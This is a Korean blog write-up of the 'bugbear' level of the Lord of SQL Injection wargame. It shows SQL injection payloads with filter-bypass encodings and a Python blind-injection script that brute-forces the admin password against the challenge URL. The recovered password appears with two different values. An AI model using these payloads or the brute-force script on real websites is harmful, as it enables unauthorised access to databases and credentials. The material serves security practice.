보안 공부/Load of SQL injection

[Load of SQL Injection] bugbear

sh1256 2022. 1. 28. 14:09
728x90

?pw=1&&no=1||(length(pw)<9)를 입력하면,

pw 길이 == 8 인 것을 알 수 있다.

 

pw 알아내기 

1. (공백)이 필터링 된다. 최대한 공백을 없애주고, 남는 공백 하나 (id와 in 사이)를 %0a로 바꿔서 우회한다. 

2. &&을 %26%26(URL 인코딩)으로 우회한다. 

3. '=' 대신에 in()을 사용한다. 

4. substr() 대신 mid()를 사용한다.

 

최종 입력 값:

?no=1||(id(공백)in("admin")&&substr(pw,N,1)="?")

?no=1||(id%0ain("admin")%26%26mid(pw,N,1)in("?"))

 

그렇게 만든 sql injection 쿼리문을 이용해서 파이썬을 돌린다. 

 

import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1&&no=1||"
length=8#hash는 17자리

pw= ""
for i in range(1, 9):
    
    for j in range(33, 125):#숫자부터 소문자z까지
        #    (mid(pw,N,1)in("?"))
        search_str='(id%0ain("admin")%26%26mid(pw,'+str(i)+',1)in("'+chr(j)+'"))'
        # print("search_str: "+search_str)
        response= requests.get(url+search_str, cookies=cookies)
        if response.text.find("Hello admin") !=-1:
            pw+=chr(j)
            print(f"round{i}: found in admin")
            print("pw: "+pw)
            break

pw: 52dc3091

 

URL 뒤에 

?pw=52dc3991

입력 후 성공!